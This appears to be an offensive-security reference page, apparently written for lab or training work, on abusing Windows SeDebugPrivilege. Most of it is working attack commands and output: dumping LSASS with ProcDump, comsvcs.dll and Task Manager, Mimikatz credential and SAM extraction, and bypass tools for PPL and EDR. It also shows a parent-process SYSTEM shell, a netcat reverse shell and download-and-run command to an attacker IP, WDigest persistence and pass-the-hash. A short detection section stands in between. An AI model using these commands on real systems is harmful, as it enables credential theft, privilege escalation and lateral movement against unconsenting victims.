SeDebugPrivilege
SeDebugPrivilege grants access to any process’s memory regardless of ACL. LSASS is the primary target - it holds plaintext passwords (when WDigest is on), NTLM hashes, Kerberos tickets, and impersonation tokens of every currently-logged-in user. The standard path: dump LSASS memory to a file with ProcDump, transfer the dump to an attacker host, run Mimikatz against it offline. Alternative path: parent-process inheritance trick spawns a child of a SYSTEM-context process, inheriting SYSTEM privileges directly.
# Confirm privilegewhoami /priv | findstr Debug
# Dump LSASS to file (target host)procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Process the dump offline (attacker host)mimikatz.exemimikatz # sekurlsa::minidump lsass.dmpmimikatz # sekurlsa::logonpasswords
# Alternative: SAM hashes from registry directlymimikatz # lsadump::samprivi
# Direct privilege escalation via parent process token inheritance[MyProcess]::CreateProcessFromParent(<SYSTEM_PID>, "cmd.exe", "")Success indicator: NTLM hashes (or plaintext passwords) of high-privilege accounts in mimikatz output; a SYSTEM-context shell from the parent-inheritance path.
Why SeDebugPrivilege matters
Section titled “Why SeDebugPrivilege matters”The SeDebugPrivilege is intentionally rare. Microsoft’s documentation describes it as a privilege “developers debugging new system components” need. It grants access to any process’s memory - including processes the current user has no DACL access to, like LSASS, which holds credential material for every logged-in session.
The standard assignment per Microsoft: Administrators. In practice, SeDebugPrivilege may be assigned to non-admin users in three scenarios:
- Developer/SRE accounts - Engineers debugging production services may have the privilege granted directly via local or domain Group Policy.
- Custom service accounts - Application support tooling sometimes runs in a context with
SeDebugPrivilegeto attach to running processes. - Misconfiguration - A sysadmin granted the privilege “temporarily” to troubleshoot something and forgot to revoke.
The discovery signal:
C:\> whoami /priv
PRIVILEGES INFORMATION----------------------
Privilege Name Description State========================================= ================================================================== ========SeDebugPrivilege Debug programs DisabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeIncreaseWorkingSetPrivilege Increase a process working set DisabledSeDebugPrivilege listed at all is the indicator - Disabled state is fine because most tools enable it programmatically on startup. Enabled means it’s already active.
LSASS memory dumping
Section titled “LSASS memory dumping”The Local Security Authority Subsystem Service (lsass.exe) is the credential vault of a running Windows system. It holds:
- NTLM hashes of logged-in users (always)
- Plaintext passwords in memory if WDigest is enabled (default on Windows 7 / Server 2008 R2; disabled by default on Windows 8+ / Server 2012+, but sometimes re-enabled)
- Kerberos tickets (TGTs and TGSes) for logged-in domain users
- DPAPI master keys for the user session
- SSH-style cached credentials for any service that’s authenticated recently
Dump the process memory, then extract everything offline.
ProcDump (Sysinternals)
Section titled “ProcDump (Sysinternals)”C:\> procdump.exe -accepteula -ma lsass.exe lsass.dmp
ProcDump v10.0 - Sysinternals process dump utilityCopyright (C) 2009-2020 Mark Russinovich and Andrew RichardsSysinternals - www.sysinternals.com
[15:25:45] Dump 1 initiated: C:\Tools\Procdump\lsass.dmp[15:25:45] Dump 1 writing: Estimated dump file size is 42 MB.[15:25:45] Dump 1 complete: 43 MB written in 0.5 seconds[15:25:46] Dump count reached.Flags:
-accepteula- Skip the Sysinternals EULA prompt.-ma- Memory analysis dump. Includes the entire process memory (~40-100MB for LSASS).lsass.exe- Process name. Can also use PID.lsass.dmp- Output file path.
ProcDump itself is Microsoft-signed and may evade some AV detections that flag mimikatz. However, dumping LSASS specifically is heavily monitored by modern EDR - the act, not the tool, is what’s signatured. CrowdStrike Falcon, SentinelOne, and Defender for Endpoint all alert on LSASS memory reads regardless of which tool is doing it.
GUI alternative - Task Manager
Section titled “GUI alternative - Task Manager”If RDP access exists and tool drops aren’t possible, dump LSASS via Task Manager:
- Open Task Manager (Ctrl+Shift+Esc) with admin elevation
- Navigate to Details tab
- Right-click
lsass.exe→ Create dump file - Task Manager writes the dump to
C:\Users\<user>\AppData\Local\Temp\lsass.DMP
Same content as ProcDump output, different production path. Useful for evading dump-file-creation alerts that key on ProcDump specifically.
comsvcs.dll - LOLBin alternative
Section titled “comsvcs.dll - LOLBin alternative”A living-off-the-land trick - comsvcs.dll exports a function called MiniDump that does the same thing as ProcDump’s -ma:
C:\> rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Windows\Temp\lsass.dmp fullGet the LSASS PID first:
PS> Get-Process lsass | Select Id Id -- 672This invocation:
- Uses Microsoft-signed
comsvcs.dll(often unblocked even in WDAC environments) - Doesn’t require any non-default tools on the target
- Still requires
SeDebugPrivilegeto dump LSASS
Note the case-sensitive function name MiniDump - Windows is generally case-insensitive but rundll32 sometimes isn’t.
Other dump tools
Section titled “Other dump tools”- Out-Minidump (PowerShell, PowerSploit) -
Get-Process lsass | Out-Minidump. PowerShell-native, no binary drop. - Dumpert - Uses direct system calls to bypass userland API hooks that EDR monitors. Higher evasion in EDR-instrumented environments.
- NanoDump - Modern, syscall-based, can be loaded as a Cobalt Strike BOF or run standalone.
- PPLDump - Specifically targets LSASS when running as a Protected Process Light (PPL), which is the default on modern Windows. Standard tools fail against PPL; PPLDump uses driver-loading tricks.
For Win10+ / Server 2019+, LSASS often runs as PPL, making standard ProcDump dumps fail with Error in WriteDump. Bypassing PPL requires either:
- A signed driver capable of suspending PPL (this is what PPLDump does)
- Disabling PPL via registry then rebooting (loud, requires admin)
- Mimikatz’s
!+driver-load command which loads its own signed driver
Transferring the dump
Section titled “Transferring the dump”The dump file is large (40-200MB). Transfer options:
- SMB share -
copy lsass.dmp \\10.10.14.3\share\ - HTTP upload - Python
http.serverwith a PUT handler, orcurl --upload-file - RDP file copy - drag-and-drop if RDP session has clipboard sharing
- WinRM -
Copy-Item -ToSession
Compress before transfer: compact /c lsass.dmp reduces it significantly. Or Compress-Archive:
PS> Compress-Archive -Path lsass.dmp -DestinationPath lsass.zipA 100MB dump compresses to ~10-20MB.
Processing dumps with Mimikatz
Section titled “Processing dumps with Mimikatz”Mimikatz is the canonical credential dumper. Run it offline against the LSASS dump on the attacker side:
C:\> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( [email protected] ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # logUsing 'mimikatz.log' for logfile : OK
mimikatz # sekurlsa::minidump lsass.dmpSwitch to MINIDUMP : 'lsass.dmp'
mimikatz # sekurlsa::logonpasswordsThe log command at the start writes all output to mimikatz.log - essential when dumping a busy server with many sessions because the output scrolls beyond terminal buffer.
sekurlsa::minidump tells Mimikatz to operate against a dump file rather than live LSASS. sekurlsa::logonpasswords extracts every credential type from every session in the dump.
Output structure
Section titled “Output structure”Mimikatz groups output by authentication session. Each session block contains:
Authentication Id : 0 ; 23026942 (00000000:015f5cfe)Session : RemoteInteractive from 2User Name : jordanDomain : WINLPE-SRV01Logon Server : WINLPE-SRV01Logon Time : 3/31/2021 2:59:52 PMSID : S-1-5-21-3769161915-3336846931-3985975925-1000 msv : [00000003] Primary * Username : jordan * Domain : WINLPE-SRV01 * NTLM : cf3a5525ee9414229e66279623ed5c58 * SHA1 : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2 tspkg : wdigest : * Username : jordan * Domain : WINLPE-SRV01 * Password : (null) kerberos : * Username : jordan * Domain : WINLPE-SRV01 * Password : (null)Read for:
- User Name + Domain + SID - the session owner
- Session type -
Interactive,RemoteInteractive(RDP),Network,Service,Batch. RemoteInteractive sessions = users who RDP’d in; their credentials are in memory until logoff. msvPrimary block - NTLM hash. Thecf3a5525ee9414229e66279623ed5c58style hash is the user’s NT hash, suitable for pass-the-hash attacks.wdigestPassword - Plaintext password if WDigest is enabled.(null)means it’s disabled (modern default).kerberosPassword - Plaintext password if Kerberos has it cached.(null)more often than not.
WDigest re-enablement
Section titled “WDigest re-enablement”Even on modern Windows where WDigest is disabled by default, attackers (and some legitimate use cases) can re-enable it:
C:\> reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1After this and a logoff/logon by a target user, their password appears in plaintext in LSASS. This is a persistence technique - set the flag, wait for users to log in, dump LSASS.
Extracting Kerberos tickets
Section titled “Extracting Kerberos tickets”mimikatz # sekurlsa::tickets /exportExports all Kerberos tickets (TGTs and TGSes) to .kirbi files in the current directory. These can be:
- Reused with
kerberos::ptt(“pass-the-ticket”) to impersonate users without their password - Decrypted offline if the relevant secret keys are available
- Cracked to recover the original password using
kerberos::askwithticketpatterns
Pass-the-hash with extracted NTLM
Section titled “Pass-the-hash with extracted NTLM”The NTLM hash alone is sufficient for many actions. Pass-the-hash with Impacket:
$ psexec.py -hashes :cf3a5525ee9414229e66279623ed5c58 DOMAIN/Administrator@TARGETThe leading : indicates no LM hash (LM is deprecated; use empty). Replace with aad3b435b51404eeaad3b435b51404ee:NTHASH if LM is required by older systems.
Or with NetExec (formerly CrackMapExec):
$ nxc smb 10.129.43.30 -u Administrator -H cf3a5525ee9414229e66279623ed5c58 -x whoamiSAM database - lsadump::samprivi
Section titled “SAM database - lsadump::samprivi”Sometimes LSASS doesn’t contain everything. Disabled local accounts (or accounts that have never logged in since boot) aren’t in LSASS memory but their hashes are in the SAM database (C:\Windows\System32\config\SAM).
With SeDebugPrivilege and admin context, Mimikatz can read SAM directly:
mimikatz # lsadump::samprivi
Domain : ACADEMY-WINLPE-SysKey : fab4b2e32a415ea36f846b9408aa69afLocal SID : S-1-5-21-1961621466-3413676743-2436262688
SAMKey : 4cc85e4026c655a9868269b9ea32b98a
RID : 000001f4 (500)User : Administrator Hash NTLM: fc525c9683e8fe067095ba2ddc971889
RID : 000001f5 (501)User : Guest
RID : 000001f8 (504)User : WDAGUtilityAccount Hash NTLM: aad797e20ba0675bbcb3e3df3319042c
RID : 000003e9 (1001)User : mrb3n Hash NTLM: 7796ee39fd3a9c3a1844556115ae1a54
RID : 000003ea (1002)User : htb-student Hash NTLM: 3c0e5d303ec84884ad5c3b7876a06ea6This output covers all local accounts - including ones not currently logged in. The output includes Supplemental Credentials with Kerberos keys (AES256, AES128, DES) which are useful for Kerberoasting and offline cracking.
For the case from real engagements: a wksadmin account that’s disabled and never logged in. LSASS doesn’t have its hash because it’s never authenticated. lsadump::samprivi reads SAM directly and returns the hash.
RID : 000003eb (1003)User : wksadmin Hash NTLM: 5835048ce94ad0564e29a924a03510efThat hash may be reusable on other systems if password reuse exists between local administrators.
Child process inheritance - direct SYSTEM shell
Section titled “Child process inheritance - direct SYSTEM shell”A different path from credential extraction - use SeDebugPrivilege to spawn a child process that inherits a SYSTEM token directly. This skips the credential-dump-then-pass-the-hash flow and goes straight to a SYSTEM shell.
The technique
Section titled “The technique”Windows lets a process explicitly specify a different parent process via the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute on CreateProcess. The new process inherits the security context (token) of the specified parent.
With SeDebugPrivilege, you can open a handle to any process - including SYSTEM-context processes like winlogon.exe, lsass.exe, or services.exe - and use it as the parent. The resulting child runs with the parent’s SYSTEM token.
PowerShell PoC
Section titled “PowerShell PoC”The canonical implementation is decoder-it’s psgetsys.ps1. The pattern:
PS> . .\psgetsys.ps1PS> [MyProcess]::CreateProcessFromParent(612, "C:\Windows\System32\cmd.exe", "")The first argument is the PID of a SYSTEM-context process. The second is the program to launch. The third is the program arguments (empty in this example).
To find a suitable parent PID:
PS> Get-Process winlogon
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName------- ------ ----- ----- ------ -- -- ----------- 218 12 6608 11436 612 1 winlogonwinlogon.exe always runs as SYSTEM and is always present, so it’s a reliable parent. Alternative SYSTEM processes:
lsass.exe- credential subsystemservices.exe- service control managercsrss.exe- Windows subsystem- Any
svchost.exeinstance (most run as SYSTEM, NetworkService, or LocalService)
Use tasklist /v or Get-Process | Where-Object { $_.UserName -match 'SYSTEM' } to enumerate.
Why this matters operationally
Section titled “Why this matters operationally”The parent-inheritance technique has properties the credential-dump path lacks:
- No credential file on disk - no
lsass.dmpto flag in DFIR - No Mimikatz invocation - Mimikatz is signatured everywhere; this avoids it entirely
- No outbound traffic - no need to ship a dump to an attacker host
- Immediate SYSTEM shell - no offline processing step
- Doesn’t depend on LSASS contents - works even if no high-privilege users are logged in
The trade-off: you don’t get credentials for lateral movement, only local SYSTEM. Often you want both - use parent-inheritance first for a SYSTEM shell, then dump LSASS from the SYSTEM context to harvest credentials at leisure.
Reverse shell variant
Section titled “Reverse shell variant”Without GUI access, modify the PoC to spawn a reverse shell instead of cmd.exe:
PS> [MyProcess]::CreateProcessFromParent(612, "C:\Tools\nc.exe", "10.10.14.3 8443 -e cmd.exe")Or have it execute a PowerShell download-and-run pattern:
PS> $cmd = "powershell -nop -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.3/shell.ps1')"PS> [MyProcess]::CreateProcessFromParent(612, "C:\Windows\System32\cmd.exe", "/c $cmd")Other implementations
Section titled “Other implementations”- PrivFu/PrivilegedOperations/SeDebugPrivilegePoC - C# implementation, useful when PowerShell is constrained or AMSI-monitored.
- The Pwn3r/SeDebugPrivilege style PoCs - variants that target specific processes for niche scenarios.
Other privileges that intersect SeDebugPrivilege
Section titled “Other privileges that intersect SeDebugPrivilege”SeTcbPrivilege(“Act as part of the operating system”) - Even more powerful thanSeDebug. Allows the holder to call APIs that switch the entire process security context to any token. If held, no need for the LSASS dance.SeCreateTokenPrivilege- Allows creating arbitrary access tokens. Extremely rare; if held, allows forging admin/SYSTEM tokens from scratch.
Both are even rarer than SeDebugPrivilege in practice but worth noting if seen.
Operational considerations
Section titled “Operational considerations”Detection
Section titled “Detection”Dumping LSASS is one of the most heavily-monitored actions on Windows:
- Sysmon event 10 (ProcessAccess) - Any handle open to
lsass.exeis logged withGrantedAccessflags.0x1010,0x1410,0x1438,0x1FFFFFall indicate memory-read access. - Microsoft Defender real-time protection - Triggers on the dump itself, especially when written to disk.
- Defender for Endpoint - Aggressive about LSASS access patterns; alerts within seconds.
- CrowdStrike Falcon - Same; “Credential Theft” alert is highly visible.
- PPL on modern Windows - LSASS protected as a Protected Process Light. Standard handle opens fail without bypass.
The parent-inheritance technique generates different telemetry - Sysmon event 1 (process create) shows the unusual parent relationship - but is less obviously credential-theft and may evade detections specifically tuned for LSASS dumps.
Operational sequence
Section titled “Operational sequence”A typical flow combining everything:
- Confirm
SeDebugPrivilegeviawhoami /priv. - Get a SYSTEM shell via parent-inheritance (
psgetsys.ps1againstwinlogon.exePID). - From the SYSTEM shell, dump LSASS (avoids PPL issues since SYSTEM bypasses it).
- Transfer the dump to the attacker host.
- Mimikatz against the dump offline. Extract NTLM hashes, Kerberos tickets, plaintext passwords (if WDigest), DPAPI keys.
- If local hashes only,
lsadump::samprivifor the full local user inventory. - Pass-the-hash or pass-the-ticket to extend access laterally.
Quick reference
Section titled “Quick reference”| Task | Pattern |
|---|---|
| Confirm SeDebug held | whoami /priv | findstr Debug |
| Find LSASS PID | Get-Process lsass | Select Id |
| ProcDump LSASS | procdump.exe -accepteula -ma lsass.exe lsass.dmp |
| LOLBin LSASS dump | rundll32.exe comsvcs.dll, MiniDump <PID> C:\Temp\lsass.dmp full |
| PowerShell-native dump | Get-Process lsass | Out-Minidump (requires PowerSploit) |
| Task Manager GUI dump | Details tab → right-click lsass.exe → Create dump file |
| Mimikatz logging | log (first command) |
| Switch Mimikatz to dump file | sekurlsa::minidump lsass.dmp |
| Extract all credentials | sekurlsa::logonpasswords |
| Extract Kerberos tickets | sekurlsa::tickets /export |
| Read SAM directly | lsadump::samprivi |
| Find SYSTEM parent PID | Get-Process winlogon | Select Id |
| Parent-inheritance SYSTEM shell | [MyProcess]::CreateProcessFromParent(<PID>, "cmd.exe", "") |
| Pass-the-hash via Impacket | psexec.py -hashes :NTHASH DOMAIN/user@target |
| Pass-the-hash via NetExec | nxc smb target -u user -H NTHASH -x whoami |
| WDigest re-enable | reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 |
| Detection signal | Sysmon event 10 with target=lsass.exe and GrantedAccess containing 0x10 |
| PPL bypass tool | PPLDump, mimikatz !+ driver, NanoDump |
| Modern syscall-based dump | NanoDump, Dumpert |
For other token-based escalation primitives, see SeImpersonate, SeTakeOwnership, Backup Operators. For credential post-processing (hash cracking, ticket reuse), see the credential-hunting round (forthcoming).
Next move
Section titled “Next move”- LSASS dump succeeded → process offline with Mimikatz (off-target); extract NTLM hashes and Kerberos tickets, then pass-the-hash for lateral movement or check domain reach
- ProcDump blocked / quarantined by AV → switch to comsvcs.dll LOLBin variant (Microsoft-signed, no third-party binary on disk)
- LSASS is PPL-protected (
0xc0000022) → use NanoDump or PPLDump driver-based bypass, or load mimikatz!+driver to disable PPL - Got SYSTEM hashes, no Domain Admin → check for Backup Operators / DnsAdmins on those accounts, or pivot to domain controller via SMB / WMI
- EDR blocking all dump approaches → drop to Initial enumeration and look for credential files on disk (unattend.xml, GPP cpassword, browser-stored credentials) instead of memory